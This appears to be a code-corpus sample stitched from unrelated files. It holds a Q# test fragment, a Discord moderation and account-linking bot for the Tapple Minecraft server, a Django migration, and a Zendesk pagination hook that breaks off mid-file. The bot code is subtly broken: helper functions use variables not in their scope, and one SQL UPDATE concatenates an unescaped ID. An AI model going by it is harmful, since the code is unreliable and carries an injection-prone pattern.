with qsharp.capture_diagnostics(as_qobj=True) as captured:
dump_plus.simulate_noise()
assert 1 == len(captured)
assert abs(1.0 - captured[0].tr()) <= 1e-8
import qutip as qt
expected = qt.Qobj([[1], [1], [1], [1]], dims=[[2, 2], [1, 1]]).unit()
expected = expected * expected.dag()
assert (expected - captured[0]).norm() <= 1e-8
|
const Discord = require('discord.js');
var mysql = require('mysql');
const fetch = require('node-fetch');
const node = require('nodeactyl');
const host = "";
const username = "";
const password = "";
const Client2 = node.Client;
Client2.login('', '', (logged_in) => {
if (logged_in == false) {
console.log("Bot was not able to connect to the server!")
}
});
const prefix = "!";
function parseMessage(message) {
if(message.content.charAt(0) == prefix) {
let args = message.content.slice(prefix.length).trim().split(" ")
return args
}
};
function sendEmbedMessage(message, color, textTitle, text, client) {
message.channel.send({embed: {
color: color,
title: textTitle,
description: text,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
function publishSuggestion(message, color, textTitle, text, client) {
let suggestionsChannel = client.channels.get("673751672991776768");
suggestionsChannel.send({embed: {
color: color,
title: textTitle,
description: text,
timestamp: new Date(),
footer: {
icon_url: message.author.avatarURL,
text: message.author.tag
}
}
}).then(embedMessage => {
embedMessage.react('❌').then(() => embedMessage.react('✅'))
});
}
function sendEventSuggestion(message, color, textTitle, text, client) {
var allowedIDs = ["182582278097076224", "259745940972240896", "259152321508802561", "170964908752502784", "237025024920256522", "600782387726647379", "222557837253935107"]
const filter = (reaction, user) => {
return ['❌', '✅'].includes(reaction.emoji.name) && allowedIDs.includes(user.id);
};
let suggestionBoxChannel = client.channels.get("673341982294147082");
suggestionBoxChannel.send({embed: {
color: color,
author: {
name: message.author.tag,
icon_url: message.author.avatarURL
},
title: textTitle,
description: text,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
}).then(embedMessage => {
embedMessage.react('❌').then(() => embedMessage.react('✅').then(() =>{
embedMessage.awaitReactions(filter, { max: 1, errors: ['time'] })
.then(collected => {
const reaction = collected.first();
if (reaction.emoji.name === '❌') {
embedMessage.delete()
} else {
publishSuggestion(message, 15105570, "Suggestion", text, client);
embedMessage.delete()
}
})
}));
});
}
async function executeCommand(args, message, client, donatorRooms) {
if (prefix == "!") {
if (["ta", "togglealerts", "suggest", "create", "linkmc", "playerinfo", "discordinfo", "servercount", "playercount", "discordcount","ip","links", "joke"].indexOf(args[0]) != -1){
if (!message.member.hasPermission(['BAN_MEMBERS'])) {
if (message.channel.id != "627581997962756157") {
message.delete();
message.author.send({
embed: {
color: 15105570,
title: "Wrong Channel!",
description: "Command sent in the wrong channel!\nPlease send it again in the correct channel.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
return
}
}
} else if (["ban","unban","bans"].indexOf(args[0]) != -1) {
if (message.channel.id != "673342285903167498") {
message.delete();
message.author.send({
embed: {
color: 15105570,
title: "Wrong Channel!",
description: "Command sent in the wrong channel!\nPlease send it again in the correct channel.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
return
}
}
if (args[0] == "togglealerts" || args[0] == "ta") {
if (message.member.roles.has("673341440956563456")) {
message.member.removeRole(message.guild.roles.get("673341440956563456"));
sendEmbedMessage(message, 15105570, "Toggle Role", "You have been removed from the Events role.", client)
} else {
message.member.addRole(message.guild.roles.get("673341440956563456"));
sendEmbedMessage(message, 15105570, "Toggle Role", "You have been added to the Events role.", client)
}
} else if (args[0] == "ban") {
let userIsTag = true;
if (message.member.hasPermission(['BAN_MEMBERS'])) {
if(args[1] == undefined) {
sendEmbedMessage(message, 15105570, "Ban User", "You need to tell me who to ban! Check !help if you don't know how.", client);
} else {
let user = message.mentions.users.first(); // returns the user object if an user mention exists
if (!user) {
try {
user = message.guild.members.get(String(args[1]));
user = user.user;
userIsTag = false
} catch (error) {
sendEmbedMessage(message, 15105570, "Ban User", "Couldn\'t get a Discord user with this userID: " + args[1], client);
return
}
}
if (user === message.author) return sendEmbedMessage(message, 15105570, "Ban User", "You can\'t ban yourself!", client); // Check if the user mention or the entered userID is the message author himsmelf
if (userIsTag == false) {
if (message.guild.members.get(String(args[1])).bannable != true) {
return sendEmbedMessage(message, 15105570, "Ban User", "You don\'t have permission to ban that user!", client)
}
} else {
if (message.member.bannable != true) {
return sendEmbedMessage(message, 15105570, "Ban User", "You don\'t have permission to ban that user!", client)
}
}
if (args.length == 3) {
if (/^\d+$/.test(args[2])) {
let days = (args[2]);
message.guild.ban(user, {days: days, reason: ""})
.then(user => sendEmbedMessage(message, 15105570, "Ban User", `Banned ${user.tag || user.id || user} for ${days} days from ${message.guild}`, client))
.catch(console.error);
}
} else if (args.length == 2) {
message.guild.ban(String(user.id))
.then(user => sendEmbedMessage(message, 15105570, "Ban User", `Banned ${user.tag || user.id || user} from ${message.guild}`, client))
.catch(console.error);
} else {
return sendEmbedMessage(message, 15105570, "Ban User", `Incorrect ban format!`, client)
}
}
} else {
sendEmbedMessage(message, 15105570, "Ban User", "You don\'t have permission for that command!", client);
}
} else if (args[0] == "unban") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
if (args[1] == "" || args[1] == " " || args[1] == undefined) {
return sendEmbedMessage(message, 15105570, "Unban User", "Please specify who to unban.\nUse !help if you don't know how.", client);
} else {
try {
const banList = await message.guild.fetchBans();
const bannedUser = banList.find(user => user.id === args[1]);
if (args[1] === message.author.id) return sendEmbedMessage(message, 15105570, "Unban User", "You can\'t unban yourself!", client); // Check if the user mention or the entered userID is the message author himsmelf
if (bannedUser) {
message.guild.unban(String(args[1]))
.then(user => sendEmbedMessage(message, 15105570, "Unban User", `Unbanned ${user.username} from ${message.guild}`, client))
.catch(console.error);
} else return sendEmbedMessage(message, 15105570, "Unban User", "That user is not banned!", client);
} catch (err) {
console.error(err);
}
}
} else {
sendEmbedMessage(message, 15105570, "Ban User", "You don\'t have permission for that command!", client);
}
} else if (args[0] == "bans") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
message.guild.fetchBans()
.then(bans => {
let userTags = bans.map(user => user.tag).join('\n');
// Make sure if the list is too long to fit in one message, you cut it off appropriately.
if (userTags.length >= 1950) userTags = `${userTags.slice(0, 1948)}...`;
let userIDs = bans.map(user => user.id).join('\n');
// Make sure if the list is too long to fit in one message, you cut it off appropriately.
if (userIDs.length >= 1950) userIDs = `${userIDs.slice(0, 1948)}...`;
sendEmbedMessage(message, 15105570, `This guild has ${bans.size} bans`, `Server bans:\n ${userTags} ${userIDs}`, client)
})
.catch(console.error);
} else {
sendEmbedMessage(message, 15105570, "Ban List", "You don\'t have permission for that command!", client);
}
} else if (args[0] == "suggest") {
if (args[1] == "" || args[1] == " " || args[1] == undefined) {
sendEmbedMessage(message, 15105570, "Suggestion", "Could not identify the suggestion. \nPlease make sure to use the correct format specified in !help.", client);
} else {
let theSuggestion = message.content.slice(9); // - Get the suggestion text not the command
sendEmbedMessage(message, 15105570, "Suggestion", "Thank you for your suggestion! It has been sent to the staff team to be reviewed.", client);
sendEventSuggestion(message, 15105570, "Suggestion", theSuggestion, client);
// - add reactions with tap actions
}
} else if (args[0] === "create") {
if (!message.member.roles.some(role => ["Apple", "Apple+", "God Apple", "Web Developer", "Owner", "Developer", "Creator", "Moderator", "Trial Moderator", "Builder"].includes(role.name))) {
const embed = new Discord.RichEmbed()
.setTitle(`🙅♀️ Oops! This command is for donators only.`)
.setColor('#f54842')
.setDescription('You can become a donator by purchasing [a rank from our store.](https://store.tapple.world)');
return message.channel.send(embed);
}
var proceed = true;
if (args[1] == "room") {
donatorRooms.forEach(item => {
if (item["author"] == message.author) {
const embed = new Discord.RichEmbed()
.setTitle(`❌ You already have a room active!`)
.setColor(15105570)
.setFooter('Quitting room creator', message.guild.iconURL);
proceed = false;
return message.channel.send(embed);
}
});
if (proceed) {
const embed = new Discord.RichEmbed()
.setTitle(`🏠 Create a donator room`)
.setColor('#f54842')
.setDescription('To get started, how many people do you want maximum in your room?')
.setFooter('Reply with a number from 1 to 99.', message.guild.iconURL);
message.channel.send(embed);
await message.channel.awaitMessages(reply => reply.author.id != client.user.id && reply.author.id == message.author.id, {
maxMatches: 1,
time: 10000,
errors: ['time']
}).then(reply => {
if (isNaN(reply.first().content) == false) {
if (parseInt(reply.first().content) >= 100) {
const embed = new Discord.RichEmbed()
.setTitle(`❌ Room maximum must be below 100.`)
.setColor(15105570)
.setFooter('Quitting room creator', message.guild.iconURL);
return message.channel.send(embed);
}
if (Math.sign(parseInt(reply.first().content)) !== 1) {
const embed = new Discord.RichEmbed()
.setTitle(`❌ Room maximum must be below 100 and above 0.`)
.setColor(15105570)
.setFooter('Quitting room creator', message.guild.iconURL)
return message.channel.send(embed);
}
const limit = reply.first().content;
const channelID = Math.floor(Math.random() * 16777215).toString(16);
message.guild.createChannel(`${message.author.username}'s Room`, {
type: 'voice',
userLimit: limit
}).then(channel => {
donatorRooms.add({
channelID: channel.id,
expires: Date.now() + 300000,
guild: message.guild,
author: message.author
});
let category = message.guild.channels.find(c => c.name == "Donator Rooms" && c.type == "category");
if (!category) throw new Error("Category channel does not exist");
channel.setParent(category.id);
const embed = new Discord.RichEmbed()
.setTitle(`✅ Room created`)
.setColor(15105570);
message.channel.send(embed);
})
} else {
const embed = new Discord.RichEmbed()
.setTitle(`❓ That doesn't look like a number.`)
.setColor(15105570)
.setFooter('Quitting room creator', message.guild.iconURL);
message.channel.send(embed);
}
}).catch(reason => {
if (reason.length == undefined) {
const embed = new Discord.RichEmbed()
.setTitle(`🛑 Room creation expired`)
.setColor(15105570)
.setFooter('Quitting room creator', message.guild.iconURL);
message.channel.send(embed);
} else {
const embed = new Discord.RichEmbed()
.setTitle(`❌ An error occoured`)
.setDescription(`\`\`\`${reason}\`\`\``)
.setColor(15105570)
.setFooter('Quitting room creator', message.guild.iconURL);
message.channel.send(embed);
}
})
}
} else {
const embed = new Discord.RichEmbed()
.setTitle(`❓ Subcommand does not exist`)
.setColor(15105570)
.setDescription('Try one of these instead: `create`');
message.channel.send(embed);
}
} else if (args[0] == "linkmc") {
var rankList = {
"default" : "649634655439421470",
"none" : "649634655439421470",
"apple" : "630253199470886932",
"appleplus" : "630371107618291712",
"godapple" : "630360663696605195",
"group.default": "649634655439421470",
"group.apple": "630253199470886932",
"group.appleplus": "630371107618291712",
"group.godapple": "630360663696605195",
"group.creator" : "641124651853938689",
"creator" : "641124651853938689"
};
if (args[1] == "" || args[1] == " " || args[1] == undefined) {
sendEmbedMessage(message, 15105570, "LinkMC", "Correct usage: \n" + "!linkmc " + String.fromCharCode(60) + "token" + String.fromCharCode(62) + "\n" + "Use the command /linkmc in game to receive a token. This will be able to link your Discord to your Minecraft account.", client);
} else {
checkForExistingLinkAndUpdate(message.author.id, args[1])
}
} else if (args[0] == "help") {
message.delete();
if (message.member.hasPermission(['BAN_MEMBERS'])) {
message.author.send({
embed: {
color: 15105570,
title: "Help",
description: "!togglealerts **»** Toggles the \"Events\" role to receive notifications. \n\n" +
"!linkmc " + String.fromCharCode(60) + "token" + String.fromCharCode(62) + " **»** Links your discord account to your Minecraft account. Get a token with /linkmc in-game!\n\n" +
"!playerinfo " + String.fromCharCode(60) + "discord tag" + String.fromCharCode(62) + " **»** Displays information about the users Minecraft account if it is linked with !linkmc.\n\n" +
"!discordinfo " + String.fromCharCode(60) + "uuid" + String.fromCharCode(62) + " **»** Displays information about a users Discord account if it is linked with !linkmc.\n\n" +
"!servercount **»** Displays the current number of connected players to tapple.world.\n\n" +
"!discordcount **»** Displays the current number of users in the Tapple Discord.\n\n" +
"!ip **»** Displays the ip to the Tapple Server.\n\n" +
"!links **»** Displays some useful links pertaining to the server.\n\n" +
"!joke **»** Displays a joke. Most likely a very cringy one...\n\n" +
"!suggest " + String.fromCharCode(60) + "suggestion" + String.fromCharCode(62) + " **»** Sends your suggestion to be reviewed by staff members. If it is accepted to be a good suggestion, players will be able to vote on it in #suggestions.\n\n" +
"!create room **»** Begins the process of creating your own temporary voice channel.\n\n" +
"!ban " + String.fromCharCode(60) + "user tag or id" + String.fromCharCode(62) + " **»** Bans players from the server, including an option for tempbans. Time to ban is in days only. \n" +
"(ex. !ban @The_Archer#1958 5)\n\n" +
"!bans **»** Lists all banned users from the discord server.\n\n" +
"!clear " + String.fromCharCode(60) + "number of messages to delete" + String.fromCharCode(62) + " **»** Deletes previous messages in the channel you send the command in.\n\n\nCreated by The_Archer#1958. Dm me if you have any questions.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
message.author.send({
embed: {
color: 15105570,
title: "Help",
description: "!togglealerts **»** Toggles the \"Events\" role to receive notifications. \n\n" +
"!linkmc " + String.fromCharCode(60) + "token" + String.fromCharCode(62) + " **»** Links your discord account to your Minecraft account. Get a token with /linkmc in-game!\n\n" +
"!playerinfo " + String.fromCharCode(60) + "discord tag" + String.fromCharCode(62) + " **»** Displays information about the users Minecraft account if it is linked with !linkmc.\n\n" +
"!discordinfo " + String.fromCharCode(60) + "uuid" + String.fromCharCode(62) + " **»** Displays information about a users Discord account if it is linked with !linkmc.\n\n" +
"!servercount **»** Displays the current number of connected players to tapple.world.\n\n" +
"!discordcount **»** Displays the current number of users in the Tapple Discord.\n\n" +
"!ip **»** Displays the ip to the Tapple Server.\n\n" +
"!links **»** Displays some useful links pertaining to the server..\n\n" +
"!joke **»** Displays a joke. Most likely a very cringy one...\n\n" +
"!suggest " + String.fromCharCode(60) + "suggestion" + String.fromCharCode(62) + " **»** Sends your suggestion to be reviewed by staff members. If it is accepted to be a good suggestion, players will be able to vote on it in #suggestions.\n\n" +
"!create room **»** Begins the process of creating your own temporary voice channel. Must be a donator to use this command.\n\n\nCreated by The_Archer#1958. Dm me if you have any questions.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
} else if (args[0] == "playerinfo") {
if (args[1] == "" || args[1] == " " || args[1] == undefined) {
checkForExistingLink(message.author.id, message.author);
} else {
let user = message.mentions.users.first();
if (user != undefined) {
checkForExistingLink(user.id, user);
} else {
message.channel.send({
embed: {
title: "Player Information",
color: 15105570,
description: "Could not find a discord user with that tag.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
}
} else if (args[0] == "discordinfo") {
if (args[1] == "" || args[1] == " " || args[1] == undefined) {
message.channel.send({
embed: {
title: "User Information",
color: 15105570,
description: "You need to specify the uuid of the player you want to query.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
checkIfLinked(args[1]);
}
} else if (args[0] == "servercount" || args[0] == "playercount") {
const {players, online} = await fetch('https://api.mcsrvstat.us/2/tapple.world').then(response => response.json());
if (online == false) {
message.channel.send({
embed: {
title: "Server Player Count",
description: "Tapple.world is currently offline.",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
message.channel.send({
embed: {
title: "Server Player Count",
description: "Online Players: " + players["online"] + " / " + players["max"],
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
} else if (args[0] == "joke") {
const {setup, delivery} = await fetch('https://sv443.net/jokeapi/v2/joke/Miscellaneous?blacklistFlags=nsfw,religious,political,racist,sexist').then(response => response.json());
message.channel.send({
embed: {
title: "Cringy Joke",
description: setup + "\n\n" + delivery,
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else if (args[0] == "cpu") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
Client2.getCPUUsage('0feae57e').then(response => {
/** See the JSON object below
* to see what response returns.
*/
message.channel.send({
embed: {
title: "Bot CPU Usage",
description: (parseFloat(response['current']) / parseFloat(response['limit'])) * 100 + "%",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}).catch((error) => {
throw error;
});
}
} else if (args[0] == "ram") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
Client2.getRAMUsage('0feae57e').then(response => {
/** See the JSON object below
* to see what response returns.
*/
message.channel.send({
embed: {
title: "Bot RAM Usage",
description: (parseFloat(response['current']) / parseFloat(response['limit'])) * 100 + "%",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}).catch((error) => {
throw error;
});
}
} else if (args[0] == "restart") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
message.channel.send({
embed: {
title: "Restart Bot",
description: "Started the restart process.\nThe restart should complete in ~20 seconds.",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
Client2.restartServer("0feae57e").then((response) => {
}).catch((error) => {
console.log(error);
});
}
} else if (args[0] == "ip") {
message.channel.send({
embed: {
title: "IP: tapple.world",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else if (args[0] == "discordcount") {
message.channel.send({
embed: {
title: "Discord User Count: " + message.guild.members.size,
description: "" + message.guild.members.size - message.guild.members.filter(member => !member.user.bot).size + " of those users are bots.",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else if (args[0] == "links") {
message.channel.send({
embed: {
title: "Tapple Links",
description: "Twitter ➢ https://twitter.com/OfficialTapple\n" +
"Permanent Discord Link ➢ https://invite.gg/tapple\n" +
"Website ➢ https://tapple.world/\n" +
"Forums ➢ https://tapple.world/forums\n" +
"Store ➢ https://store.tapple.world/\n" +
"Events Calendar ➢ https://tapple.world/events\n" +
"Applications ➢ https://tapple.world/forums/applications.11/\n" +
"TapL's YouTube ➢ http://bit.ly/taplyoutube",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else if (args[0] == "clear") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
if (/^\d+$/.test(args[1])) {
var amountToDelete = parseInt(args[1]);
let channel = message.channel; // <-- your pre-filled channel variable
channel.fetchMessages({limit: amountToDelete + 1}).then(messages => {
messages.deleteAll()
})
.catch(console.error);
} else {
message.author.send({
embed: {
color: 15105570,
title: "Clear",
description: "Invalid parameters! Use !help for the correct format.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
} else {
sendEmbedMessage(message, 15105570, "Clear", "You don\'t have permission for that command!", client);
}
}
else if (args[0] == "specialCommand44"){
if(message.author.id == "237025024920256522") {
message.delete();
var x = 0;
var colors = ['#8585ff', '#fff681', '#a073fd', '#fd73b9', '#5cf51b', '#f53f1b', '#f5b41b', '#1b2af5'];
var role = message.guild.roles.find(role => role.id === "619340300782927892");
function colorSwap() {
role.edit({
color: colors[x]
});
console.log("Changed webdev role color to " + colors[x])
x += 1;
if (x > colors.length - 1) {
x = 0;
}
}
okTimer = setInterval(colorSwap, 5000);
}
} else if (args[0] == "specialCommand45") {
if (message.author.id == "237025024920256522") {
message.delete();
clearInterval(okTimer);
}
} else if (args[0] == "specialCommand46"){
if(message.author.id == "182582278097076224" || message.author.id == "222557837253935107" || message.author.id == "237025024920256522") {
message.delete();
var x = 0;
var colors2 = ['#8585ff', '#fff681', '#a073fd', '#fd73b9', '#5cf51b', '#f53f1b', '#f5b41b', '#1b2af5', '#5ef0ff', '#edc600'];
var role = message.guild.roles.find(role => role.id === "617934378940629013");
function colorSwap2() {
role.edit({
color: colors2[x]
});
console.log("Changed owner role color to " + colors2[x])
x += 1;
if (x > colors2.length - 1) {
x = 0;
}
}
okTimer2 = setInterval(colorSwap2, 5000);
}
} else if (args[0] == "specialCommand47") {
if(message.author.id == "182582278097076224" || message.author.id == "222557837253935107" || message.author.id == "237025024920256522") {
message.delete();
clearInterval(okTimer2);
}
} else if (args[0] == "specialCommand48") {
if(message.author.id == "182582278097076224" || message.author.id == "222557837253935107" || message.author.id == "237025024920256522") {
message.delete();
var y = 0;
var aName = ['The_Archer', '=The_Archer=', '-=The_Archer=-']
function nameSwap() {
message.guild.members.get("237025024920256522").setNickname(aName[y]);
y += 1;
if (y > aName.length - 1) {
y = 0;
}
}
okTimer3 = setInterval(nameSwap, 5000);
}
} else if (args[0] == "specialCommand49") {
if(message.author.id == "182582278097076224" || message.author.id == "222557837253935107" || message.author.id == "237025024920256522") {
message.delete();
clearInterval(okTimer3);
}
} else if (args[0] == "offenses") {
if (message.member.hasPermission(['BAN_MEMBERS'])) {
function returnMember(member) {
return message.guild.members.find(m => m.user.tag === member)
}
if(args[1] == undefined) {
message.channel.send({
embed: {
title: "Infractions",
description: "Please supply a user tag to search for!",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
return
}
var theMember = returnMember(args[1]);
if (theMember != null) {
getInfractionsFromMember(theMember, message)
} else {
message.channel.send({
embed: {
title: "Infractions",
description: "Unable to find user: " + args[1] ,
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
}
} else if (args[0] == "updateRole") {
var memberHighestRole = 0;
var rankList = [
"649634655439421470",
"630253199470886932",
"630371107618291712",
"630360663696605195"
];
message.member.roles.forEach(role => {
var newIndexFound = rankList.indexOf(role.id);
if(newIndexFound > memberHighestRole) {
memberHighestRole = newIndexFound
}
});
console.log("Highest Role " + memberHighestRole);
checkForHigherRankAndUpdate(message.member.id, rankList[memberHighestRole]);
}
}
function getInfractionsFromMember(member, message) {
var errorMessage = "";
var con = mysql.createConnection({
host: host,
user: username,
password: password,
database: "",
port: 25060
});
con.connect(function (err) {
if (err) throw err;
con.query('SELECT * FROM discordOffences WHERE discordID=' + mysql.escape(member.id), function (err, result, fields) {
if (err) throw err;
if (result.length == 0) {
message.channel.send({
embed: {
title: "Infractions",
description: "That member has no infractions.",
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
con.query('SELECT offences FROM discordOffences WHERE discordID=' + mysql.escape(member.id), function (err, result, fields) {
if (err) throw err;
var offences = result[0]['offences'];
var dateJoined = message.member.joinedAt;
var dateString = dateJoined.getUTCFullYear() + "/" +
("0" + (dateJoined.getUTCMonth()+1)).slice(-2) + "/" +
("0" + dateJoined.getUTCDate()).slice(-2);
message.channel.send({
embed: {
title: "Infractions",
description: message.member.user.tag + " has " + offences + " infractions.\nRole: " + message.member.highestRole.name + "\nJoin date: " + dateString,
color: 15105570,
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
});
}
});
});
}
function checkIfLinked(uuid) {
var con = mysql.createConnection({
host: host,
user: username,
password: password,
database: "",
port: 25060
});
con.connect(function (err) {
if (err) throw err;
con.query('SELECT discordID FROM accounts WHERE uuid=' + mysql.escape(uuid), function (err, result, fields) {
if (err) throw err;
if (result.length == 0) {
message.channel.send({
embed: {
title: "User Information",
color: 15105570,
description: "Could not find a Minecraft player with that uuid.\nPlease make sure the account is linked and try again later.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
var user = client.fetchUser(result[0]['discordID']).then(user => {
message.channel.send({
embed: {
title: "User Information",
color: 15105570,
description: "Discord Tag: " + String(user.tag) + "\nDiscord ID: " + String(result[0]['discordID']),
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
});
}
});
});
}
//checkForExistingLink
function checkForExistingLink(discordID, user) {
var rankList2 = {
"default" : "Non :P",
"none" : "Non :P",
"apple" : "Apple",
"appleplus" : "Apple+",
"godapple" : "God Apple",
"webdev" : "Web Developer",
"builder" : "Builder",
"creator" : "Creator",
"mod" : "Mod",
"trialmod" : "Trial-Mod",
"dev" : "Developer",
"owner" : "Owner"
};
var con = mysql.createConnection({
host: host,
user: username,
password: password,
database: "",
port: 25060
});
con.connect(function (err) {
if (err) throw err;
con.query('SELECT uuid, rank FROM accounts WHERE discordID=' + mysql.escape(discordID), function (err, result, fields) {
if (err) throw err;
if (result.length == 0) {
message.channel.send({embed: {
title: "Player Information",
color: 15105570,
description: "The account " + user.tag + " is not linked!\nPlease try again later.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
var uuid = result[0]['uuid'];
var rank = result[0]['rank'];
var con = mysql.createConnection({
host: host,
user: username,
password: password,
database: "tapple_mcserver"
});
con.connect(function (err) {
if (err) throw err;
con.query('SELECT name FROM playerInfo WHERE uuid=' + mysql.escape(uuid), function (err, result, fields) {
if (err) throw err;
if (result.length == 0) {
message.channel.send({embed: {
title: "Player Information",
color: 15105570,
description: "Your account is not linked!\nPlease link your account and then try again.",
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
} else {
message.channel.send({ embed: {
title: "Player Information",
color: 15105570,
thumbnail: {
url: "https://crafatar.com/avatars/" + uuid + "?size=40"
},
description: "Username: " + result[0]['name'] + "\nRank: " + rankList2[rank],
timestamp: new Date(),
footer: {
icon_url: client.user.avatarURL,
text: "© Tapple"
}
}
});
}
});
});
}
});
});
}
function checkForExistingLinkAndUpdate(discordID, token) {
var errorMessage = "";
var con = mysql.createConnection({
host: host,
user: username,
password: password,
database: "",
port: 25060
});
con.connect(function (err) {
if (err) throw err;
con.query('SELECT * FROM `accounts` WHERE discordID=' + mysql.escape(discordID), function (err, result, fields) {
if (err) throw err;
if (result.length == 0) {
con.query('SELECT `discordID` FROM `accounts` WHERE token=' + mysql.escape(token), function (err, result, fields) {
if (err) throw err;
if (result.length == 0) {
errorMessage = "The provided token is invalid!";
return sendEmbedMessage(message, 15105570, "LinkMC", errorMessage, client);
} else if (result[0]['discordID'] == " " || result[0]['discordID'] == "") {
con.query('UPDATE `accounts` SET discordID=' + discordID + ' WHERE token=' + mysql.escape(token), function (err, result, fields) {
if (err) throw err;
con.query('SELECT `rank` FROM `accounts` WHERE discordID=' + mysql.escape(discordID), function (err, result, fields) {
if (err) throw err;
var rank = result[0]['rank'];
if(rankList['rank'] == "") {
message.delete();
sendEmbedMessage(message, 15105570, "LinkMC", "Accounts successfully linked!", client);
} else {
message.delete();
message.member.addRole(message.guild.roles.get(rankList[rank]));
sendEmbedMessage(message, 15105570, "LinkMC", "Accounts successfully linked!", client);
}
});
});
} else {
message.delete();
errorMessage = "The provided token is already used by another account!";
return sendEmbedMessage(message, 15105570, "LinkMC", errorMessage, client);
}
});
} else {
message.delete();
errorMessage = "Your Discord account is already linked!";
return sendEmbedMessage(message, 15105570, "LinkMC", errorMessage, client);
}
});
});
}
function checkForHigherRankAndUpdate(discordID, currentRank) {
const lpRankArray = ["group.default","group.apple","group.appleplus", "group.godapple", "group.creator"];
var rankList2 = {
"group.default": "649634655439421470",
"group.apple": "630253199470886932",
"group.appleplus": "630371107618291712",
"group.godapple": "630360663696605195",
"group.creator" : "641124651853938689",
};
var highestRankIndex = 0;
var errorMessage = "";
var con = mysql.createConnection({
host: host,
user: username,
password: password,
database: "",
port: 25060
});
con.connect(function (err) {
if (err) throw err;
con.query('SELECT `uuid` FROM `accounts` WHERE discordID=' + mysql.escape(discordID), function (err, result, fields) {
if (err) throw err;
if (result.length > 0) { //Found data
var uuid = result[0]['uuid'];
console.log('uuid ' + uuid);
var con2 = mysql.createConnection({
host: host,
user: username,
password: password,
database: "",
port: 25060
});
con2.connect(function (err) {
if (err) throw err;
con2.query('SELECT `permission` FROM `luckperms_user_permissions` WHERE uuid=' + mysql.escape(uuid), function (err, result, fields) {
if (err) throw err;
if (result.length > 0) { //Found data
result.forEach( rank => {
var indexFound = lpRankArray.indexOf(rank.permission);
if(indexFound > highestRankIndex) {
highestRankIndex = indexFound
}
});
console.log('highest rank index ' + highestRankIndex);
if(currentRank == rankList2[lpRankArray[highestRankIndex]] || rankList2[lpRankArray[highestRankIndex]] == "649634655439421470") {
sendEmbedMessage(message, 15105570, "LinkMC", `You already have the highest role for your rank!`, client);
} else {
if(currentRank == "649634655439421470") {
} else {
message.member.removeRole(currentRank);
}
message.member.addRole(rankList2[lpRankArray[highestRankIndex]]);
sendEmbedMessage(message, 15105570, "LinkMC", "Your role has been updated!", client);
}
} else {
errorMessage = "There was a problem connecting to your account. Please contact The_Archer#1958 with this code: 400lp";
sendEmbedMessage(message, 15105570, "LinkMC", errorMessage, client);
}
});
});
} else {
errorMessage = "Your account is not linked! Please contact The_Archer#1958 if you think there is a problem.";
sendEmbedMessage(message, 15105570, "LinkMC", errorMessage, client);
}
});
});
}
}
module.exports.parseMessage = parseMessage;
module.exports.prefix = prefix;
module.exports.executeCommand = executeCommand; |
# Generated by Django 2.2.3 on 2019-08-04 14:29
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('content', '0007_auto_20190728_1314'),
]
operations = [
migrations.RemoveField(
model_name='event',
name='images',
),
migrations.DeleteModel(
name='ImageUpload',
),
]
|
/**
* Copyright Zendesk, Inc.
*
* Use of this source code is governed under the Apache License, Version 2.0
* found at http://www.apache.org/licenses/LICENSE-2.0.
*/
import { useSelection } from '@zendeskgarden/container-selection';
export function usePagination(options) {
const {
selectedItem,
focusedItem,
getContainerProps: getControlledContainerProps,
getItemProps
} = useSelection(options);
const getContainerProps = ({ role = 'navigation', ariaLabel, ...props } = {}) => {
return {
role,
'aria-label': ariaLabel || 'Pagination navigation',
...props
};
};
const getPreviousPageProps = ({ ariaLabel, ...props } = {}) => {
return {
'aria-label': ariaLabel || 'Previous Page',
...props
};
};
